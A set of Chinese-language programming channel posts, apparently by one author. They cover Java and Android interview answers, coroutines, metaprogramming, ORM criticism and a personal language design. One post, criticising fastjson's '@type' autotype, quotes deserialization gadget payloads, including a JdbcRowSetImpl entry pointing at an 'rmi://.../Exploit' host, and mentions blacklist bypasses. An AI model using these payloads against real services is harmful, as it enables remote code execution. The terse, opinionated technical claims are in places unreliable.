#HR #java 回答安卓面试题 [AI标准答案]

- 做过哪些项目，用过哪些 Android 开发相关的东西
没有，H5赛高
- 「大学生活质量指北」是什么（？（然后我真的讲了七八分钟这个项目的来龙去脉和作用
不过VS Alt-S 同行数多光标可以列粘贴
- Java 里 LinkedList 和 ArrayList 的区别
链表适合单遍历，不需要resize (1 (2 null))
- 栈和队列的区别，如何用栈实现队列，Android 里哪些地方用到队列
Queue.add-pollFirst 队列 add-poll 栈。Looper Handler.post; Stk.poll()=len==1? pop() : (x=pop(),r=递归,add(x),r) 。转换的话，LIFO两次==FIFO
- 上面我提到了 LRU 缓存，所以什么是 LRU 缓存
eg.已满100项{arg:ret}则删掉最早1项、取时下移

- HTTP 和 HTTPS 的区别
HTTP(SSL(connect(IP:port) )) 公钥加密的有无
- 进程和线程的区别
有无内存,fd资源隔离
- 有哪些方式保证线程安全
原子和Reent锁，或者向量化 各自隔离
- 堆内存和栈内存的区别
堆new的对象不会在return时删除、栈很小(Linux 8M)，Java 的话应该全叫堆引用才对，避坑。
- StackOverflow 和 OOM 分别会在什么时候发生，如何避免
-Xms:8G -Xss:1G(划掉) 栈爆只会在DFS的输入太大或无基线，类似的OOM是BFS没有记忆而无限回环 ；真的是搜索图太大，可以用 DeepRecursiveFunction 栈调转堆回调
- 算 6&5 和 6|5
4+2+0, 0b110&|0b101, 4,7 AI都算得对

- Activity 里什么时候会保存状态、恢复状态
onRestore/SaveInstanceState(强类型KV), 请AI实现 V:Parcelable
- Activity 屏幕旋转的时候会经过哪些生命周期
请正读-反读 pause-resume stop-start destory-create （天哪..究竟孔乙己到什么地步才会把框架的“生命”细节公摊给App？
- 如何计算一个图片会占用多少内存
nByte=w*h*单像素bit/8
- 项目中用过哪些第三方库，能否分别给出介绍
没有，安卓生态冗得像罚抄

https://www.zhihu.com/question/631144121/answer/3299457578

#js #java #web #news React系还有一张刁图，让我感叹 sql`${}` 居然都能成为稀奇事（虽然之前我想用但没找到包。貌似用BaaS有 prisma
目前还只有JS能做str安全注入

当然20年前C#就支持ASP， Razor还支持 <button formAction="@( () => await Db( $"INSERT INTO Bookmarks VALUES ( {slug} )" ) )" >

前后端同构当然更合理（并不是像PHP那样的伪共用），但不要区分use client和use server更好

原来Javaer才意识到自己只是 CRUD boy??

#design #java 🥰 我的编程范式，目前由2类的重载重写构成

# 行列式多态 tabular polymorphism
class,dict,struct 等类型的本质是“电子表格”，而方法只是有特殊前缀的全局函数

因此，类型就是行和列(=定长字典和键)

?? Animal
- name Str //<> 列方向共有的，叫接口
Cat(name)
Dog(name, owner:Str) //^v 行方向新增的，叫构造器

其形式为 C=A+B :

?? C A
- b1 Str
- b2 [Int sets] //可变量
?? A-exists B //Animal 表已穷举，不可继承
//- A已存，无法添加新的列
C(但是行可以=1.0)

枚举则表明，类型也是数据
?? Food now Rows(): //简造器: [Str Enum KV]
Apple; Tomato; Beef

因此，Pair(Col2) 继承自Columns ，Maybe(may2) 继承自Row
error(): NO类型, voidFn(): over类型

构造vs简造器
构造器constructor= 由变量组合成的struct
简造器lit= 由字面等价出的enum等type，必须属于既有表格


# 转为式多态 too polymorphism
加参器instructor、加构器costructor、段造器OOstructor 「3种三段论」

默认值+值=值
给定值+值=对象
默认函+值=对象

z counter(0) :
me(1)==1 me(2)==3
//z==$Yes

Dog("Hachi").[Movy too].move(0)

??- counter(x:Int, ac=0) //加参器可以避免class的滥用，或为监听等闭包 声明可变量
ac =:+ x
over ac

??- Animal.Dog(owner="Jack") //加构器可以避免继承得没有主次
??- Dog.too() Movy //且允许从impl{}扩充函数 平滑过渡到方法或参数更多的类型
- move(dxy) $N !:"躺平了"

??- Activity AbstractMain
now: aField 0
- onCreate as:
main()
Name.asSuper
- onDestroy ‘TODO’
^??
- main() // 段造器是能作为参数的函数字典，它直接与OOP对应
- fetch(:URL) "STUB!"
- openVal sets(0)

对人脑而言，模拟执行代码，也需要发音。
在不同的(??)语境下，-函数调用有由参数确定的“声调tone”，俗称多态或 类型判断/自动转换
有3种词支持新增声调： 类型(??-) 多方法函数(??) 单方法函数(-)

??- [Activity 函确定]() Main() //无/有构造器的类型，默认确定性为 funcs / funcs! ，因此无需trait{}。只需去掉^?? 就默认final
^name
- statics也可以有元类接口
??- Main
- 同文件的扩充可以mark private

??- 这是个函数() 0
.:
- 它不该有局部fun
??- 或匿名()Object()

↘️ 为了方便跨平台或mock，应该在编译期依赖注入， 称为 os-依协议工厂
比起抛开constructor 而使用 Factory.createXX() ，应当允许 ext fun 按作用域选择性内联，类似于导入并覆盖

os.exec("echo 1") //返回动态类型"NO"
??- os-droid()
- exec(:Str) "install busybox!"

# 运算链
右链左表括歪嘴(rchain lswitch wheezynul)

y 1 .:
Vec2(me+1).x //sin
-2+3

3==(counter .: -ac 3).ac
//右下链，是Rust允许{let}遮盖同变量名的理由 🙄
//那根本不现代，和C的int a=(b=1)， “now 1: a;b” 一样是瞎猫吃死耗子，祈祷不被[有心人]滥用呗

除了可多行的bash式参数，还有「类型即表格」—class可以随处创建
那些总是在 fn(a=a,b=b) 的def 也可以消停了，让人用得上才叫OOP嘛

yNew y :.
<0: -1
>0: 1 ; or: 0
//左下表，单行缩写为 (y rem- 0).{0"平" 1"剩" -1"负"}，支持bool函数和匹配解构

(1==1) \: // 这个\: 替换为.{$Y 1 $N 0} 就是ifelse了
say:'CPU有毛病'

ada User(NO) // 非常可爱的、文化中立的表情，取代了让人头痛的异常、弱类型||、null ?.let ?:
ada.age ("UNK") : "☹️{me+1}"
(ada.age🫤 \: 17)+1
may{u.age.orThrow} !: "😬need be checked"

?? Row
User(age\:Int) //val age:Int? 不应该出现在结构体以外，除非写为 - age [Int mayNO]

🦄
解决了一个心腹大患，开心，现在和Kotlin加那一堆data seal enum 修饰词的完全不一样了，而且类型上既Rust又Go 🦀，值上既YAML又JSON ，而且可能让Haskell GADT和Monadic链吃瘪了

然后，还有比GraphQL都好看的免术语区间和filtermap 🥭 ，无需open()的文件保存/另存为抽象， 总之，这个范式绝对不是单纯的面向函数。 不仅仅是强类型+DSL，它比py更擅长处理数据
我最喜欢这样看着土，实际从各个角度都博采众长的东西。 和任何编程语言都不必比较，因为它不需要门槛，会Excel和bash都能懂， 有序自然+简洁+文化中立

但我必须做一个前端框架，吃上饭才有时间写编译器啊 😅
https://t.me/kotlin_cn/110933

#java #code serde codegen
用jshell API 实现了一个ini序列化，大概比直接靠javac 简单
>以下代码实现了 dumps(Pair::class) (Pair(0,0), mutableMapOf("first" to 3))

fun dumps(T:KClass<*>, ld:T=JS("(void)(${T} o, java.util.Map<String,Object> m){"+
  T.memberProperties.joinToString(""){"  m.put(\"${it.name}\",o.get${it.name.capitalize()}());"}+"}")!!
)=fun(o:Any, m:Map<*,*>)=ld.main(o,m).let{m}

所以说py真的太解压了.. setattr() 就算动静态隔离，typehint还能做格式验证
js稍微乱点
java 连个规范的元编程方法都没有，一群魔法师

我是觉得一个老古董语言就不要和jspy 比面向event和类型反射
Compiler 和 JShell API 就是tools.jar里的，做不到比 CLI更强的功能，就是调用快点
JS("") 和runtime其实是完全隔离的，它的classpath 相当于是编译期的，你可以把生成的代码按行号缓存下来，不需要defineClass
vs

// 定义一个 data class
data class UPair(val A: Int, val B: Int)
@Mapper
interface UPairMapper {
    // 定义一个映射方法，用于将 Map 转换为 UPair
    fun mapToUPair(map: Map<String, Int>): UPair
}
val mapper = Mappers.getMapper(UPairMapper::class.java)

mapper.mapToUPair(mapOf("A" to 1, "B" to 1))

https://github.com/mapstruct/mapstruct/issues/1672#issuecomment-969265894
https://gist.github.com/duangsuse/d022c7ad037bb7fed446f72ec9b38ef7

#learn #js #kt #java 🧵 📥
借机聊下线程、协程间的对应性，以及UI/UX应用与单次脚本间因何不同。（全栈）

调用返回要靠 -Xss 指定大小的线程栈，数组
调用异步要靠 ret() 参数指定的回调栈，链表， 也可以封装为 new Promise((ok,err)=>ok(0)) 。内部执行前都要传入then步骤，但不需要看调用栈
你可以把异步栈保存到[]{}里按需执行，称为调度。协程(async stack)和linux调度器的区别，仅仅是后者能跑死循环(分时复用CPU)
总之 线程栈=调用栈，异步栈=回调栈。

ps|head -n1 这样的管道write() 其实就是yield。这时read()不会等待/dev/disk/的CPU.IO信号，而视ps下一块缓冲的bytes (C对象的Channel)
信号，不是死循环轮询poll，它看注册推送push。不过Looper,HTTP-epoll请求响应 这种ddloop(detect-dispatch) 模式会混合两者
本来，为了不卡死主线每次IO或延时也要 launchThread{b=f.read(); rest(b)} 。封装为 f.read(回调) 就异步了：线程无关
生成器， yield(x, Ret) 会保留首次调用偷偷建的状态机Ret，第二次next(v)，调Ret(v如异步结果)后即可返回x。 asyncFn=(args, op=0, Ret=(v)=>switch(op++){} )=>相当于协程对象

主线程sleep()往往要卡死UX，但 yield ret=>setTiemout(ret,1s) 却会立刻返回，同时允许ret()上文切换到其他线程池(ddloop,scheduler)继续执行
造成以上区别，是因为push比poll有普适性，它跨CPU地执行同一个函数，且有event/flow based 范式帮助模块复用。libuv和DOM就是对os.read,sleep.. 跨平台的线程池优化

既然如此，好像有UI+IO两个线程就够了，你干嘛~要多开线程
上文切换，只因，为能更好地压榨多核线程池
DOM代替大家做了划分，为多线提供了内存安全的Worker，但kt,go,py里暴露的技术细节有点多！

线程和 asyncio/suspend 相比有何劣势？ linux上进程内是创建慢的进程组(fork)。在不调用OS资源时，永远使用协程"套娃"能减少到内核态的上文切换和内存消耗。像线程池存在的意义，就是免线程创建http连接等单任务
需要mutex锁的独占性资源，用协程读写更节省轮换
单协程轻量到1个回调就能保存，并发控制如 join(coroutineScope),go select,channel 可以用Promise.all,race,postMsg来"阻塞"，因为它提供了进程模型所缺少的返回值。
线程即共享内存的进程，无需手动封送(marshall RPC)就能互调用，而json本意是保存会话(对象树)。 如果内存会话和机器都要隔离，就需要 Proxy(by=cookie酷卡/fd句柄) 验证对象API权限了
通过句柄而非密码访问API，是因为句柄能定期吊销，也便于审计。代理有时叫注入,Mapper,绑定

那么jdk19 虚拟线程 又如何？ 有100w级的并发1s内完成的低开销，类似py的GIL
但绕过JDK的IO走 JNI Unsafe 读写文件或网络是无法实现异步调度，未实现 suspendCoroutine{it.resumeWith(Ok(0))} 这样的yield的扩展性

var vs = Executors.newVirtualThreadPerTaskExecutor(); //Executors.newFixedThreadPool(200)
for(var Y= new int[]{0}; Y[0]<3;Y[0]++)
vs.submit(() -> { int y=Y[0];  try{Thread.sleep(java.time.Duration.ofSeconds(y*1));} catch(InterruptedException e){}
  System.out.print(y + " "); }).get();

最后，再了解经典的「并发模型」 就能读懂90%的企业级服务了

- ForkJoin,MapReduce 如把文件预分块(shader) 读http区间多线程下载
- Actor 直接按函数参数，自顶向下来分块(RPC)
- CSP 是上面说的多进程，靠 Channel<in T>, chan<- T 递交任务，流式的 make -j8
- 线程&锁 互斥资源不能被linux多核调度改乱套了，所以得加锁(synchronized)

#java #ts https://www.zhihu.com/question/659506359/answer/3538805082?utm_id=0
看到“高级编程语言”的数据结构我就捉急呀。

类型就是表格。纵行是其变种，横列是其数据， obj :. A(x):; B(x) 手动模拟if isinstance多态性
表格可以相互混入，传参时只要有覆盖该表就能调用
若无构造器，默认定义为纯模板 fn?? ，亦可含fn?项
否则表格默认全员锁定!fn，相当于struct。 写明的fn用于扩充既有类型或seal接口
- f(x.[Int Str may2]) Col2(1 2).A
?? 'AB'Row fn
Col2(A.A B.B)
?? 'AB'may2
A(x.A); B(x.B)

这不轻松把OOP interface abstract open final enum ADT match 给讲明白了，顺便消除了“代数”数据与子类型的鸿沟，易读和扩展性全都要。本身就是小学生都能搞懂的把戏嘛，真是啰啰嗦嗦一大堆啊

什么积类型和类型，你是Prolog？ 给你俩Byte你能穷举出256**2个值，那才叫 prod type！ 然而自称支持这些的，你的 patten match 等号两边能反过来写吗？
moonbit和仓颉，主流语言的那些小九九一个也没落下。 您是为计算机系开心写代码，还是为使用者开心而写？

再比如Go的 struct mixin。OOP的inner class本意也是一样，可惜被执行坏了，结果反而不如FP的tuple拼接

其实哪有什么构造器呢？拿函数签名生成的新类型吧。不过就是你们在模仿gpt该做的烂活，或者请IDE“代码生成”。。明明语言从语法API就必须解决掉的东西

如果从更大的复用性来看“class”，90% 的情况都是把重复的args打包起来，避免传一大堆参、允许部分修改，比如那寥寥无几的 open fun，“函数值参数”

因此py即便不爱用class也不瓶颈到工程的规模、Go早期干脆不做泛型。捆绑几个参数嘛，dict更好做

至于协程(N:M线程)，await和yield(then vs next)其实是一个东西，但前者更合理，因为它只是把回调交出去，然后自己return
yield看似符合直觉，但缺少了重要的东西，例如buffer N项一页yield 大家都不支持。我们真的缺语言级iter吗？
spawn{}隐藏了调度级的“异步”，线程随便开，这很好

cj的过程宏，目前 import std.ast.* 后可以parse FuncDecl 啥的，也有quote()内插，还算比rust易用

我们程序员的奇技淫巧很超前，我们的软件工艺落后太远。

btw. 官方文档注 https://zhuanlan.zhihu.com/p/704858976?utm_id=0
https://www.zhihu.com/question/523049017/answer/3537896490?utm_id=0

#learn #kt Benny霍评论区
协程 async。自动传回调、var都打包到其class因为，比如传给sleep()后自己要return。协程对象就比()->闭包多留个switch(nthStmt){}

把sleep()外提为赋值语句，以保留和恢复调用栈而已，linux单核调度多线程，甚至你调用IO时为了鉴权，也会这么干。 cat|head 不就会await您的键盘吗？ read()就会suspend 1个C语言的“有栈”协程。
之所以要async，只是想节省pthread_create，因为你要拿mainloop去poll(定期/卡http的轮询) 触摸屏事件，设备资源是独占的。这和内核驱动(/dev/WebUSB) 才能导致死机蓝屏是一个道理

如果系统，比如Web APIs吧，只提供回调而禁止while(1)，哪怕只支持epoll(查看监听)/select(poll多项)，就根本不存在线程一词 -就像C里你并不知道read()本质上await在pipe前“生成器”的write()
--也有人叫它yield，那是因为我们不能靠return写入“文件变量”、不能重赋值函数参数以返回多个值.. 为此jspy还发明了“async*()=>生成器”..
完美复刻UI层State(val).onvar[]的轮子呢！可惜是难用难复用的阉割版。

VSCode只加两个js线程，就能运行得很稳，这难道不是App设计的常态吗？难道那些小程序比code更“架构”？
至于免锁或基于资源.transferTo()的多线程，WebGL/numpy/MapReduce(ForkJoin) 不需要重造OS 1Dispatcher:N Continuation(该叫class CPU: ()->isFinished吧)的轮子配什么池化，就能实现前后端们无法想象的性能提升。

ES5的 yield cont=>setTimeout(cont,1s) ，由awaiter链接timeout和g.next，已经是免编译协程API的巅峰了，Promise.then 只是省得你传cont回调。 当然，timeout也可能返回cont=> 所以then要能接受async()

另：JS是视 fetch(u,{abort:Signal}) 取消任务的，我不认为app里会需要一堆 coroScope{} 这样图文不符的结构。kt在UIUX界敢能和H5相比么？为什么语言多项功能，app的功能却少的可怜！

kt的结构化并发不比Go的WaitGroup(semaphore)有用，但新词一大堆，初心全忘了，开始比java还八股了。真可笑，屠龙者终成恶龙
那些比Promise更繁琐的，是毫无语意的知识，迟早被py AI自动完成。看来科学界也不喜欢代码圈整这些无聊的class

就问 https://python-future.org/ 2to3这么聪明又简洁的lib，java人们啥时候能学会？态度问题，不是智商低 #statement

协程线程进程，都是Job
jobs的管理上，除了^Z SIGHUP再 fg bg 恢复，内核还支持swap(整个系统的)内存页到SSD，甚至用CRIU直接把进程快照为文件。 这样的快照不仅能多拍，还可通过网络传输，简直易如截屏，又像 Termux.dev / Waydro.id / webvm.io 那样神奇；然而这样超越运行期的“时间魔法”，90%的编译器根本做不到，只能用reflect或asm模板这样的残次品搪塞；同理90%的语言里“函数值”都没有相等性--所谓闭包“值捕获”却并不能自动内联JSON，所谓RPC,protobuf还不如微软的COM,pwsh.NET普适
#os 在这一点上可比 #plt 的孤岛、围城，先进太多了
https://t.me/dsuse/19341

https://kotlinlang.org/docs/coroutines-overview.html
https://github.com/youngyangyang04/TechCPP/blob/master/problems/为什么用户态和内核态的相互切换过程开销比较大.md
http://cht.sh/podman

podman run -dt -name cnt busybox /bin/sh -c 'i=0; while true; do echo $i; i=$((i + 1)); sleep 1; done'
podman container checkpoint cnt
podman container restore cnt

https://t.bilibili.com/948850441406382096

#reveng #java #net
>一眼盯疹，11年前的这编译器还不如EDSL，不就相当于加个auto x=mat2x2() ，这算什么简化gl

至少我手上需要读取fn.kwarg ，要提取({k=1})=>的默认，你说该不该留源码

jvm/clr那种栈机，高级版gnu dc， 一个jadx/dnspy就还原了，不il2cpp不混淆掉命名，怎么都没必要
py还默认发布pyc呢

duangsuse:
对了，说起来jvm->clr应该可以转化吧，这样就能用对方的反编译器

https://github.com/ikvmnet/ikvm/blob/main/README.md
- Convert bytecode to a .NET assembly to directly access its API in a .NET project

上位虚拟机当然能兼容执行jar了

dnSpy(wine) v6.final Install-Package IKVM
一共200m https://github.com/dnSpy/dnSpy/releases
https://github.com/ikvmnet/ikvm/releases/download/8.8.1/IKVM-8.8.1-image-net8.0-linux-x64.zip

可以配合调试 unity games https://github.com/K0lb3/UnityPy?tab=readme-ov-file#mesh

#java #news #algorithm https://www.ithome.com.tw/news/163820

当我听说这个月Gosling退休时，其实我挺开心的，因为java API在我看来普及了不少无语意的知识，为八股文爱好者提供了极大方便，可以说是糟粕
这样给程序员带来麻烦的老灯，退休当然是好事，让他们的OOP繁衍下去是浪费人类的逻辑

但另一方面，这并不是JDK本身或 Doug Lea 等工程师的问题。与C++相比，java并不难。除了简化发布流程，还自带电池，提供了许多xml这类最终被滥用的工具
尽管在数据结构/IO上灵活性低，以及导致了十亿美元bug（nullish），java API并没有做错什么.

错就错在跨领域研究编程范式的人太少，以至于过去20年里没有新模型，Rust go 这些还是在拿interface 模仿OOP，没有一种把 json struct enum union override,FP 混合起来的通用编程方法

#java #plt Science Yuan:
静态和动态的元编程是完全不同的

duangsuse:
并不是，只是类型信息在不在javac -cp 里而已。 如果在，例如for(const getMethods..) 生成/加载元组是可行的
你说的「完全不一样」，无非是jdk区分了 lang.reflect vs APT lang.model，后者能访问的信息更少，至少不能对某个参数getset() ，更不能获取返回值，因为 @Marker()很难写在语句级，更不能作为表达式

但编译和eval()并不存在所谓的鸿沟，就连未知变量，例如 int[] a 吧，从里面生成静态slice(用于vararg强转&传参？)，或者解构赋值，也只是loop unroll(见Zig)而已
无非是编译器弱智到只能检查类型解析个方法签名， a[i] 就只能生成 aload ，不能把i的值粘贴进去（二段求值）， {x,y}就只能是anew，不能作为编译期的list生成 x=a[0]; y=..
--基本这只需要往str内联常量，也就是说 (unquote x[i] {i:1})
甚至x不知道，i:1编译期也算不出，unquote=eval 就能完美容错！

apt和XXpoet的弱智显然是不可理喻的，因为解释器、解析器更好实现 https://t.me/kotlin_cn/105813

py不像js，它还是强检查的，js里甚至没有dataclass一说 一切皆字典
但这也有些坏处，就是元编程有些开销不完全与手写相等，这点我的 https://github.com/duangsuse-valid-projects/tkgui 通过缓存化eval很好解决了
这进一步说明，过程宏绝对不是rust! 那样的魔法，整个安卓所需的一切仅仅是 for(const x: T.vars) 的apt而已

lang.reflect 和Proxy都会在运行时生成字节码，更别说lang.invoke了，它会被查找并替换为具体的invoke字节码（例如被动态编译的 LambdaMetafactory(this,"methSig").invoke 方法）
这也是为什么Android重新实现了它们，要不然就要携带一个dx.jar作为类加载器动态翻译

#java oop 面试题 https://www.bennyhuo.com/2023/08/29/new-book-metaprogramming/#more

哈哈😄，这个好玩
1.(final T)在Gradle里是开发规范，但和final var一样对性能无影响 凑字数
final class是常用法，有些人在使用了虚方法（=构造期传函数）时会对其他项打final，幸好kt里是非open var即封闭、不可变

2final的类名上变量支持常量折叠如 if(DEBUG)
3 JVM.utf16文本相当于动态创建的enum，也就是低速拼接换高速equals，它的值不可替换，就像List.of().add()在运行时不可变，因此final不像rust，管不着Object函数内的重赋值
4lang.reflect.Field,Unsafe,Xposed可以
5直接共享，避免转移所有权
6可以装箱到堆上，例如AtomicInt，这样就能被非局部赋值了。 但更应该使用inline fun
py里 for 0~9: timer(it, lambda: say it) 只打印9，是它必须手写的原因

duangsuse:
nonlocal x=的那条？ 总比在C++里到处[]() 或move||要好

大家都不知道闭包捕获引用这些，这首先就要把那些XXer 的SAM类变成函数，然后才有非局部赋值问题

java虽然总八股值和引用，但大家总是不重赋值或深拷贝
我举那个py的例子算是好的，因为py这个畜生是直接把局部创建的cell()给捕获了。。
for a[0] in range 是有效的，许多人搞不明白

duangsuse:
orm就是把class 带上where sort 绑定到sql TABLE
基本上还应该带pager

Spring负责把http路径转到类路径，绑定个函数签名

理论上，pgsql 应该直接回应http请求的😂
90%的代码不过是做鉴权这样的中间件AOP
这一切，都是从PHP和XMLHttpRequest开始
唉，万能http

所以说AOP啊，pre post一加
你看有多少不是纯CRUD

不少小公司和C#的都是直接调用sql函数，不用后端
结果最后还是让程序员充当aigc了是吧。。

那些代码看一眼都算码农啊。。
怎么能容忍90%都是跨端复制的逻辑呢？

你不写，他们也会以合规为由要求写
jpa难道不能和sql模板打配合？

graphql.io 好，百度也有个json ql叫啥 https://baidu.github.io/amis/zh-CN/components/crud?page=1
凑字数能力很强

#sql 可垃圾着呢，我还写过生成sql的查询语言 https://t.me/dsuse/17740
读着自然？都是骗人的， SQsu 都比它更“人类”

select id from 狗 where (月龄>6 and 高>40);
aka 取狗(月龄>6 and 高>40)

正宗的关系式写法是：
狗(id,高,月龄), 月龄>6, 高>40

区区filterSort的模板不值得从ORM,CMS,低代码 这些里面分出个后端开发来
http路径就是类路径，类结构就是方便转码和校验sql数据

绝大部分的app并不需要后端框架，只要pg支持http风格的sql语句和json化，加个鉴权分页什么的。
如果不是pg存储过程的语法垃圾没类库，它就登顶了

#haha #bilibili
pg的存储函数没有类库，也不好 json io， java 才充当了这个协议转换垫片
因此许多SaaS对象存储都是NoSQL的，因为这种RPC架构冗余代码太多🌚

然而在EE程序员逆天才的智锐随变下，无论是生成xml或暴露路由表对象的服务器，绑定函数的方法都非常冗余， demo的匮乏程度更是让人叹为观止
甚至连五星逼格的rust都不禁这样评价：

它们好像连classpath就是URL模板的这回事都搞不清楚，方法签名绑定也做不好，还@什么原神数据来codegen😋
很牛逼吗？fastapi,django, 正常语言到处都在用，放javakt就是高手了，这是🐮逼还是装嫩？

完全无法理解MyBatis为什么比jpa流行，还煞有介事的搞面试题
一个 sql``${} 调用模板罢了
一个被专门做来AI生成的语言，那肯定是垃圾

甚至，ORM都是一种浪费，因为70%的字段根本不会被访问，只是复制到数据库，又复制回js或php式模板侧

连最基本的程数同构都没学过，compose 后才开始搞DSL，更谈何避免Header绑定和分页参数的重复、PUT DELETED POST三方法的多态融合，更别说理解http调用与sql、与bash命令行的同质了。

人家import fire可是0代码就能提供命令行，甚至colab UI。
java元编程能吗？逆天 才EE程序员没那个心智模型！🌝

#os 为什么 #js #java 选择了 UTF-16 (emoji 占2 codePoint)作为默认编码？
答：UTF-8 codec 要处理的情况大两百行
https://www.fxzhihu.com/question/652839772/answer/3472123259

- UNIX ASCII-7bit 现在一般被扩展为 Latin-1 (EASCII, 8bit), 均可包含 base64 z85
- utf8的兼容ascii只是伪兼容，例如strstr("abc","a")。很多情况utf8根本不能用ascii api？ 不。 UTF-8 保证了同一码元，不同字节二进制前缀不同，不会混淆。

- UTF-16比int32(unicode scalar)有啥问题？比如国旗都是用两个 code point 表示的，存储成整数要 8 字节；有些 emoji 还是一个 ZWJ 序列(grapheme clusters), Family 就是七个 code point

#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡

fastjson 窝槽， Ali 的架构师设计也真是逆天啊！！ 2020的分析，今天才看到，狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁​还煞有介事在下面装无辜， 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK

# xx toJSONString : {"sale":{"price":0.5},"name":"Hollis"} 的类结构
.:
  - Store-name-sale ["" IFruit]

.: IFruit
  - Apple-price [0]
  - Free

-xx Store "Hollis" (Apple 0.5)

这里有个问题， IFruit 其实是 sealed interface IfFruit{ Apple; Free } ，前者有"price":Int 后者没有field或setter，因此 parse<Store> ("{..}").sale as Apple 只能失败。

那 IFruit 凭啥能在无 backing field 的情况下被databind出来？new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错，他搞笑呢，从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢？ 通过严格定义的 sealed/enum ADT{} ？通过XML？都不是，他懂， Auto "@type"...

{
    "@type":"com.hollis.lab.fastjson.test.Store",
    "fruit":{
        "@type":"com.hollis.lab.fastjson.test.Apple",
        "price":0.5
    },
    "name":"Hollis"
}
// 正确做法
{"sale":{type: Apple, "price":0.5},"name":"Hollis"}
// Rust默认做法
name=Hollis
[sale]
Apple={price=0.5}

脚本引擎都弄出来了呀…… 这画风和js的JSON迥异，生硬如同 new WTF({kwarg:..})
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ，数不清的注入点。
{"@type": "jdk.jfr.internal.JVM", "memorySize": 1} , {@type":"com.ibatis.sqlmap.engine.transaction.jta ... 变游乐场了

第一次知道这么脑洞打开的 workaround ，是把 List<*> =Any 泛型擦除当真理了吗， 真当子类多态就是一切皆Object 一切有@type呢， 其实那就是 enum { A(int) B(str) } 的特例而已！👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法，开 1.2.25 blacklist 后 lazy(loadClass)("[Lcom.sun.rowset.JdbcRowSetImpl;") 等为方便ASM和反射也是合法类名，和温大佬异想天开的不一样， 修得和安卓 utf8_casefold 大小写合并bypass 一样弱智。真是不能期待他们在RCE 0day后，对OOP和json的强类型理解会有所反思，
因为直到 1.2.47 ，他都用类似 breakwa11 的黑名单「闭源」来防，拉黑算法还有bug…… 恕我直言，common sense 缺到有点好笑。 还@type呢， {"": "Apple"} 都是合法json，这不得快得废弃来？
(子类多态，var_a:T=b as T1 合法， Fn1<in T,out R> 就可以兼容赋值?super T ，override同理，这才叫懂八股..)

和log4j一样级别的。有时候我都好奇，在一个a[i]的 i±1 都绝对报错的代码世界，在try{return} 都会跳到finally{close..}的事务性严谨圈子里，在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下，SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物，硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的，代码和常量就这么拼接了？一个扁平一个嵌套分不清吗？ 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ，这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事，真拿人html/DOM就瞎用，丢的岂止隐私？

唉，草台班子。 「你就说弹calc.exe快不快吧」
这不禁让我想到「一种游戏服务器RPC返回Object的方法」： 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效，能够安全写入？ set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上，或ROP覆盖了return“回调”的函数呢，你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对？

libc 和 Linux 防但防不住的，就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks

#dalao #c #os https://dbkernel.com/2014/08/04/c-traps-and-pitfalls-reading-notes/
https://z217blog.cn/post/io多路复用/
https://lotabout.me/books/Java-Concurrency/Source-Unsafe/index.html #java
http://blog.guorongfei.com/2017/05/14/json-for-modern-cpp-note/

一个设计者就是这样推倒、再来、再推导、再来…… 😓 #life #statement

幸好，这是最后几朵乌云了， 只需要解决RPC的基本规范， HOLP的整个强类型IO体系就可以移植给java那些能丰富简历的平台了，
这个优雅到能放在README上的算法，肯定是能吊打JavaKt一众「魔法版」序列化库（至少 Fastjson https://t.me/dsuse/20186 😅😅😅）

当然，HOLP 被设计为「语言之中的语言」。它本身有自己类似yaml+bash的语法，独立于电脑而存在，却又能联合OOP+FP+SQL的代码范式。 只不过依我的元编程写法，Trim*这些技巧仿佛背后并不存在一个体系……
如果以后您能见到一些漂亮的语法，那大概是HOLPful的节选和变体

-user {-id "Amy" -age 20}
-vs {.id="Amy", .age=20, }
pass user
  if u.age>18 {}
  or u.age>10 {}
  or u.age<0 not {} --or{NO}

class {
  -Pair(A,B){}
  -Tri(A,B,C){}
}
-tbl Tri{
  1,2,3,
  'a','b','c',
  {-[]Pair{666,233}}
}
tbl [3]A pairs [1]B==233
tbl [2]C=='c'

-f(x,) {x+1}
pass fsql"SELECT 1, 2" for(2,) { A+B } -- bash式参数!

我总是在闭关，看起来很闲，但做的就是这样的工作。 七年的积攒，只能是为了开创性的工作。

如果我家人稍微不粉红那么一点，我就不需要急功近利，可以耐心归纳，代码质量想必能突破一个个「单一用途」的桎梏。
其实他们才是最不爱国的，和某公子一样，只爱自己赢。

#security #java https://terenceli.github.io/技术/2022/01/30/java-dynamic-proxy-and-annotation

#java #dalao https://lanlan2017.github.io/JavaReadingNotes/a2090c4f/
对后端、设计模式 很有研究！

#java #dev 为什么有人写的不是同一门java
https://www.fxzhihu.com/question/485917018/answer/2213881828

#java 🤔
https://simpleflatmapper.org/0101-getting-started-csv.html
https://github.com/mapstruct/mapstruct
https://dagger.dev/dev-guide/subcomponents

https://jdbi.org/#_declarative_api
https://www.http4k.org/